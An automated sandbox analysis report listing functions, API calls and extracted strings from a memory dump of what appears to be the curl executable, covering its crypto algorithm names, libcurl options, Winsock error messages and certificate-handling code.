Part of subcall function 00870E10: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00870E41

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008624AA
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008624BE
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008624CA
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008624D9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008624EB
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008624FD
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086250F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862521
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862533
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862545
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862557
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086256C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086257E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862590
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008625A2
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008625B4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008625C6
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008625D8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008625EA
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008625FC
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086260E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862620
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086263D
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086264F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862661
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086267F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086268C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862699
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008626A4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008626D1
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008626E3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008626F5
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862707
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862719
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086272B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086273D
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086274F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862761
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862773
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862785
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862797
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008627A9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008627BB
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008627CD
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008627DF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008627F4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862806
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862818
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086282A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086283C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086284E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862860
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862872
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862884
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862896
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008628A8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008628BA
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008628CC
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008628DE
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008628F0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862902
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862917
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862929
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086293B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086294A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008629D9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008629EB
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008629FD
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862A0F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862A21
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862A33

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ace4387536a021b25f1063ca686cbf11affaa05ceefa1d532de2c098cbb5690e
Instruction ID: 00e1f14814212946f2fd0dbf31dc26bd7aef0c2d3ebda95e75fc198258370ad0
Opcode Fuzzy Hash: ace4387536a021b25f1063ca686cbf11affaa05ceefa1d532de2c098cbb5690e
Instruction Fuzzy Hash: 8EF1EA75602E12EFDB8A5FA0D948B89FB21FF09701F008306F9295A262CB356571DFD6

Function 008A3B1A Relevance: 92.8, APIs: 4, Strings: 49, Instructions: 66stringCOMMON

Download Yara Rule

APIs

strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,00000000,?,0000001F), ref: 008A3B39
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,USE_STRONG_CRYPTO,00000011,0000001F), ref: 008A3B59
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,SCH_USE_STRONG_CRYPTO,00000015,?,?,?,0000001F), ref: 008A3B6E
___from_strstr_to_strchr.LIBCMT ref: 008A3B8E

Part of subcall function 008A3B1A: ___from_strstr_to_strchr.LIBCMT ref: 008A345C
Part of subcall function 008A3B1A: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,0000001F), ref: 008A349C

Strings

CALG_AES, xrefs: 008A39FD
CALG_AES_256, xrefs: 008A39DB
CALG_ECDH, xrefs: 008A3A86
CALG_DES, xrefs: 008A360C
CALG_TLS1_MASTER, xrefs: 008A38E7
CALG_NO_SIGN, xrefs: 008A35C7
CALG_CYLINK_MEK, xrefs: 008A37D0
CALG_DSS_SIGN, xrefs: 008A35A5
CALG_DH_EPHEM, xrefs: 008A3723
CALG_DH_SF, xrefs: 008A3700
SCH_USE_STRONG_CRYPTO, xrefs: 008A3B68
CALG_TEK, xrefs: 008A37AD
CALG_MD5, xrefs: 008A3502
CALG_RSA_KEYX, xrefs: 008A35EA
CALG_SKIPJACK, xrefs: 008A378B
CALG_SSL3_SHAMD5, xrefs: 008A37F5
CALG_MD2, xrefs: 008A34BB
CALG_3DES_112, xrefs: 008A362F
CALG_RC5, xrefs: 008A3909
CALG_HASH_REPLACE_OWF, xrefs: 008A3974
CALG_TLS1PRF, xrefs: 008A3951
CALG_SCHANNEL_MASTER_HASH, xrefs: 008A383A
CALG_ECDSA, xrefs: 008A3ACC
CALG_SEAL, xrefs: 008A36DD
CALG_SHA1, xrefs: 008A353B
CALG_HMAC, xrefs: 008A392C
CALG_DESX, xrefs: 008A3674
CALG_AES_128, xrefs: 008A3997
CALG_AES_192, xrefs: 008A39B9
CALG_SHA_512, xrefs: 008A3A64
CALG_SCHANNEL_ENC_KEY, xrefs: 008A3880
CALG_RC4, xrefs: 008A36BA
CALG_ECDH_EPHEM, xrefs: 008A3AEF
CALG_SHA_256, xrefs: 008A3A20
CALG_MD4, xrefs: 008A34E3
CALG_SSL2_MASTER, xrefs: 008A38C5
CALG_RSA_SIGN, xrefs: 008A3582
CALG_HUGHES_MD5, xrefs: 008A3768
CALG_3DES, xrefs: 008A3651
CALG_SHA, xrefs: 008A3521
CALG_RC2, xrefs: 008A3697
CALG_MAC, xrefs: 008A355E
CALG_ECMQV, xrefs: 008A3AA9
CALG_SCHANNEL_MAC_KEY, xrefs: 008A385D
CALG_PCT1_MASTER, xrefs: 008A38A3
CALG_SSL3_MASTER, xrefs: 008A3818
USE_STRONG_CRYPTO, xrefs: 008A3B53
CALG_AGREEDKEY_ANY, xrefs: 008A3745
CALG_SHA_384, xrefs: 008A3A42

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchrstrncmp$strncpystrtol
String ID: CALG_3DES$CALG_3DES_112$CALG_AES$CALG_AES_128$CALG_AES_192$CALG_AES_256$CALG_AGREEDKEY_ANY$CALG_CYLINK_MEK$CALG_DES$CALG_DESX$CALG_DH_EPHEM$CALG_DH_SF$CALG_DSS_SIGN$CALG_ECDH$CALG_ECDH_EPHEM$CALG_ECDSA$CALG_ECMQV$CALG_HASH_REPLACE_OWF$CALG_HMAC$CALG_HUGHES_MD5$CALG_MAC$CALG_MD2$CALG_MD4$CALG_MD5$CALG_NO_SIGN$CALG_PCT1_MASTER$CALG_RC2$CALG_RC4$CALG_RC5$CALG_RSA_KEYX$CALG_RSA_SIGN$CALG_SCHANNEL_ENC_KEY$CALG_SCHANNEL_MAC_KEY$CALG_SCHANNEL_MASTER_HASH$CALG_SEAL$CALG_SHA$CALG_SHA1$CALG_SHA_256$CALG_SHA_384$CALG_SHA_512$CALG_SKIPJACK$CALG_SSL2_MASTER$CALG_SSL3_MASTER$CALG_SSL3_SHAMD5$CALG_TEK$CALG_TLS1PRF$CALG_TLS1_MASTER$SCH_USE_STRONG_CRYPTO$USE_STRONG_CRYPTO
API String ID: 3873730638-2313236003
Opcode ID: 6143c124861c17c36eca1d4bd3fe861f85dde307c47d854c65a405229148973e
Instruction ID: 21bad66552a8e31379e7fc48d15f7ed98a5c3f5b1f50f891db80d643f8fe4a78
Opcode Fuzzy Hash: 6143c124861c17c36eca1d4bd3fe861f85dde307c47d854c65a405229148973e
Instruction Fuzzy Hash: 2011E931A01B106BF7254A259C95B967789FF577B9F100025FD05EA781E760CB42C1E5

Function 0086A5C4 Relevance: 89.3, APIs: 4, Strings: 47, Instructions: 56stringCOMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 0086A600
ioctlsocket.WS2_32(?,8004667E,?), ref: 0086A637
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0086A641
strerror.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 0086A649

Strings

Using --anyauth or --proxy-anyauth with upload from stdin involves a big risk of it not working. Use a temporary file or a fixed auth type instead!, xrefs: 0086A5F1
CURLOPT_INTERLEAVEDATA, xrefs: 0086A88D
SWj, xrefs: 0086A892
CURLOPT_WRITEDATA, xrefs: 0086A873
SWj, xrefs: 0086A99E
Ph', xrefs: 0086A9D4
CURLOPT_URL, xrefs: 0086A97C
https://, xrefs: 0086A69F
CURLOPT_TCP_FASTOPEN, xrefs: 0086A859
CURLOPT_PROXY, xrefs: 0086A9F7
VLI, xrefs: 0086AA00
wJ, xrefs: 0086A8D6
V;J, xrefs: 0086A911
SWj, xrefs: 0086A965
SWj, xrefs: 0086A8CE
CURLOPT_READFUNCTION, xrefs: 0086A8E8
V[J, xrefs: 0086A8F1
CURLOPT_TCP_NODELAY, xrefs: 0086A837
SWj, xrefs: 0086A878
SWj, xrefs: 0086A8AE
CURLOPT_READDATA, xrefs: 0086A8C9
proxy support is disabled in this libcurl, xrefs: 0086AA16
0Lu@Ru@/Mu, xrefs: 0086A641
CURLOPT_NOBODY, xrefs: 0086A9B8
CURLOPT_SEEKFUNCTION, xrefs: 0086A924
VI, xrefs: 0086A969
ht', xrefs: 0086A7FE
CURLOPT_SEEKDATA, xrefs: 0086A908
SWj, xrefs: 0086A9BD
h+N, xrefs: 0086A8A4
k%, xrefs: 0086A038
VJ, xrefs: 0086A862
CURLOPT_NOPROGRESS, xrefs: 0086A999
CURLOPT_WRITEFUNCTION, xrefs: 0086A8A9
SWj, xrefs: 0086A929
CURLOPT_BUFFERSIZE, xrefs: 0086A960
SWj, xrefs: 0086A90D
SWj, xrefs: 0086A83C
h,N, xrefs: 0086A8E3
://, xrefs: 0086A6FF
SWj, xrefs: 0086A85E
fcntl failed on fd=%d: %s, xrefs: 0086A654
%s%c%s, xrefs: 0086A741
ViI, xrefs: 0086A9E3
CURLOPT_XOAUTH2_BEARER, xrefs: 0086A9DA
http://, xrefs: 0086A68C
SWj, xrefs: 0086A8ED

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: __acrt_iob_func_errnoioctlsocketstrerror
String ID: %s%c%s$0Lu@Ru@/Mu$://$CURLOPT_BUFFERSIZE$CURLOPT_INTERLEAVEDATA$CURLOPT_NOBODY$CURLOPT_NOPROGRESS$CURLOPT_PROXY$CURLOPT_READDATA$CURLOPT_READFUNCTION$CURLOPT_SEEKDATA$CURLOPT_SEEKFUNCTION$CURLOPT_TCP_FASTOPEN$CURLOPT_TCP_NODELAY$CURLOPT_URL$CURLOPT_WRITEDATA$CURLOPT_WRITEFUNCTION$CURLOPT_XOAUTH2_BEARER$Ph'$SWj$SWj$SWj$SWj$SWj$SWj$SWj$SWj$SWj$SWj$SWj$SWj$Using --anyauth or --proxy-anyauth with upload from stdin involves a big risk of it not working. Use a temporary file or a fixed auth type instead!$V;J$VLI$V[J$ViI$VI$VJ$fcntl failed on fd=%d: %s$h+N$h,N$ht'$http://$https://$proxy support is disabled in this libcurl$k%$wJ
API String ID: 1657940537-2175734073
Opcode ID: c686e1f01f27ba0747a33f0bdb8f756f2ca0971145609aa3626b3387e8e2ccc8
Instruction ID: ed3a60bf0fd2b5638b31c3ba65e21fbbae5c33ab638b09e82cff114c5da2d89d
Opcode Fuzzy Hash: c686e1f01f27ba0747a33f0bdb8f756f2ca0971145609aa3626b3387e8e2ccc8
Instruction Fuzzy Hash: 5311C671A049019FEF089BB0CD49BACBBA5FF4A314F154159E806E6292DB75DD41CE43

Function 00879CA8 Relevance: 76.6, APIs: 1, Strings: 50, Instructions: 140stringCOMMON

Download Yara Rule

APIs

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,Host not found,000000FF,?,0087A10B), ref: 00879EF5

Strings

Too many users, xrefs: 00879E81
Host not found, try again, xrefs: 00879EE2, 00879EF3
Protocol family not supported, xrefs: 00879D88
Call would block, xrefs: 00879D1A
Out of file descriptors, xrefs: 00879D10
Socket is already connected, xrefs: 00879E12
Winsock library not initialised, xrefs: 00879EA4
Blocking call in progress, xrefs: 00879D24
Call interrupted, xrefs: 00879CDE
Descriptor is not a socket, xrefs: 00879D2E
Loop??, xrefs: 00879E4E
Host unreachable, xrefs: 00879E6C
Winsock library is not ready, xrefs: 00879E9D
Bad quota, xrefs: 00879E88
Something is stale, xrefs: 00879E8F
Bad protocol, xrefs: 00879D4C
Bad argument, xrefs: 00879CFC
Socket has been shut down, xrefs: 00879E26
No buffer space, xrefs: 00879E08
Address not available, xrefs: 00879D9C
Network has been reset, xrefs: 00879DBA
Too many references, xrefs: 00879E30
Bad file, xrefs: 00879CE8
Operation not supported, xrefs: 00879D74
Need destination address, xrefs: 00879D38
Timed out, xrefs: 00879E3A
Socket is not connected, xrefs: 00879E1C
Network unreachable, xrefs: 00879DB0
Address already in use, xrefs: 00879D92
Not empty, xrefs: 00879E73
Process limit reached, xrefs: 00879E7A
Protocol is unsupported, xrefs: 00879D60
Connection refused, xrefs: 00879E44
Socket is unsupported, xrefs: 00879D6A
Bad access, xrefs: 00879CF2
No data record of requested type, xrefs: 00879ED4
Host not found, xrefs: 00879EE9
Disconnected, xrefs: 00879EB2
Protocol option is unsupported, xrefs: 00879D56
Unrecoverable error in call to nameserver, xrefs: 00879EDB
Connection was aborted, xrefs: 00879DC4
Winsock version not supported, xrefs: 00879EAB
Remote error, xrefs: 00879E96
Address family not supported, xrefs: 00879D7E
Host down, xrefs: 00879E62
Invalid arguments, xrefs: 00879D06
Name too long, xrefs: 00879E58
Bad message size, xrefs: 00879D42
Connection was reset, xrefs: 00879DCE
Network down, xrefs: 00879DA6

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: strncpy
String ID: Address already in use$Address family not supported$Address not available$Bad access$Bad argument$Bad file$Bad message size$Bad protocol$Bad quota$Blocking call in progress$Call interrupted$Call would block$Connection refused$Connection was aborted$Connection was reset$Descriptor is not a socket$Disconnected$Host down$Host not found$Host not found, try again$Host unreachable$Invalid arguments$Loop??$Name too long$Need destination address$Network down$Network has been reset$Network unreachable$No buffer space$No data record of requested type$Not empty$Operation not supported$Out of file descriptors$Process limit reached$Protocol family not supported$Protocol is unsupported$Protocol option is unsupported$Remote error$Socket has been shut down$Socket is already connected$Socket is not connected$Socket is unsupported$Something is stale$Timed out$Too many references$Too many users$Unrecoverable error in call to nameserver$Winsock library is not ready$Winsock library not initialised$Winsock version not supported
API String ID: 3301158039-3442644082
Opcode ID: 9e3b73f54ad3f13c80d26dd3221e951af1f3308146fdd23d4a1eb756761244cb
Instruction ID: f196f559739361b6882671d526fc932b522a194eafe76c7b5988e388096d8671
Opcode Fuzzy Hash: 9e3b73f54ad3f13c80d26dd3221e951af1f3308146fdd23d4a1eb756761244cb
Instruction Fuzzy Hash: 8341665220C65896A338D19C5514A71B974FB06318B24C17EF6CFCA76CD0F3CE9BA362

Function 008AE652 Relevance: 52.9, APIs: 13, Strings: 22, Instructions: 447COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 008AE702
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AE766
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AEB75
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AEBBD

Strings

Issuer, xrefs: 008AE72B
Subject, xrefs: 008AE6BE
-----END CERTIFICATE-----, xrefs: 008AEB4F
%2d Subject: %s, xrefs: 008AE6E2
Serial Number, xrefs: 008AE820
Signature Algorithm: %s, xrefs: 008AE8A7
Expire Date: %s, xrefs: 008AE96D
Expire Date, xrefs: 008AE957
Version: %lu (0x%lx), xrefs: 008AE7F3
Serial Number: %s, xrefs: 008AE83B
Public Key Algorithm, xrefs: 008AE9C6
Signature, xrefs: 008AEA57
Signature: %s, xrefs: 008AEA6D
%lx, xrefs: 008AE7A1
Cert, xrefs: 008AEB88
Start Date: %s, xrefs: 008AE90A
Signature Algorithm, xrefs: 008AE891
-----BEGIN CERTIFICATE-----, xrefs: 008AEB00
Issuer: %s, xrefs: 008AE746
Start Date, xrefs: 008AE8F4
Version, xrefs: 008AE7BE
Public Key Algorithm: %s, xrefs: 008AE9E5

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: Expire Date: %s$ Issuer: %s$ Public Key Algorithm: %s$ Serial Number: %s$ Signature Algorithm: %s$ Signature: %s$ Start Date: %s$ Version: %lu (0x%lx)$%2d Subject: %s$%lx$-----BEGIN CERTIFICATE-----$-----END CERTIFICATE-----$Cert$Expire Date$Issuer$Public Key Algorithm$Serial Number$Signature$Signature Algorithm$Start Date$Subject$Version
API String ID: 1294909896-2896079655
Opcode ID: 03ff311d3f58bb99072bd142eab38ee6ab68199ac5d5025784a4c2ab99fbf921
Instruction ID: bd6153ce39ecb53b9db7a7b6436eb29a5a913ef92d759491524fce1114dee6c5
Opcode Fuzzy Hash: 03ff311d3f58bb99072bd142eab38ee6ab68199ac5d5025784a4c2ab99fbf921
Instruction Fuzzy Hash: FEE117316087229BE724AB24D891A2FBBE5FF96720F14892DF945D3741EB74DC04CB92

Function 0086686E Relevance: 45.9, APIs: 23, Strings: 3, Instructions: 382fileCOMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0086688D
___from_strstr_to_strchr.LIBCMT ref: 008668A1
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 008668C1
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 008668F7
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086691B
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 0086697E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00866988
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,008B8DD4), ref: 0086699E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 008669DA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 008669E6
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(008B74AB), ref: 00866A30
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00866A7A
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00866A96
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00866AC9
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 00866AD9
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(008B74AB), ref: 00866AF9
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,008B8DD4), ref: 00866B14
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00866B7F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00866BD0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00866C50
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 00866C58

Strings

Couldn't read data from file "%s", this makes an empty POST., xrefs: 008669B4, 00866B2E
%.*s=%s, xrefs: 00866945
f, xrefs: 00866BFD

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: __acrt_iob_func$_strdup$free$___from_strstr_to_strchrfclosefopenmalloc
String ID: %.*s=%s$Couldn't read data from file "%s", this makes an empty POST.$f
API String ID: 288693899-3884612863
Opcode ID: a58d01ee745440dc162c19d49c168f27e9bf7c96d7c3d5ab59e548e269d202c7
Instruction ID: 074045a0b1c00641b96883deadf418eb483a7be0501b8be945663597e14524b2
Opcode Fuzzy Hash: a58d01ee745440dc162c19d49c168f27e9bf7c96d7c3d5ab59e548e269d202c7
Instruction Fuzzy Hash: CBC1C2756087818FC7159F389894A6ABBE1FFC9328F194A1DF48AD7342EF31D8068715

Function 008AF363 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 340encryptionCOMMON

Download Yara Rule

APIs

CertOpenStore.CRYPT32(00000002,00000000,00000000,00002000,00000000), ref: 008AF4D6
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 008AF4E7
CertCreateCertificateChainEngine.CRYPT32(?,?), ref: 008AF5D8
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 008AF5E3
CertGetCertificateChain.CRYPT32(?,?,00000000,?,00000010,00000000,00000000,?), ref: 008AF698
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 008AF6A3
CertFreeCertificateChainEngine.CRYPT32(00000000), ref: 008AF7C1
CertCloseStore.CRYPT32(?,00000000), ref: 008AF7D4
CertFreeCertificateChain.CRYPT32(00000000), ref: 008AF7E9
CertFreeCertificateContext.CRYPT32(00000000), ref: 008AF7FE

Strings

schannel: CertGetCertificateChain error mask: 0x%08x, xrefs: 008AF739
schannel: Failed to read remote certificate context: %s, xrefs: 008AF7A4
schannel: this version of Windows is too old to support certificate verification via CA bundle file., xrefs: 008AF4B8
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_NOT_TIME_VALID, xrefs: 008AF71D
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_PARTIAL_CHAIN, xrefs: 008AF705
schannel: CertGetCertificateChain failed: %s, xrefs: 008AF6B8
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_UNTRUSTED_ROOT, xrefs: 008AF711
schannel: failed to create certificate store: %s, xrefs: 008AF4FC
schannel: failed to create certificate chain user: %s, xrefs: 008AF5F8
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_REVOKED, xrefs: 008AF6F6
(memory blob), xrefs: 008AF540
schannel: CertGetCertificateChain trust error CERT_TRUST_REVOCATION_STATUS_UNKNOWN, xrefs: 008AF729

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: Cert$Certificate$Chain$ErrorFreeLast$userStore$CloseContextCreateOpen
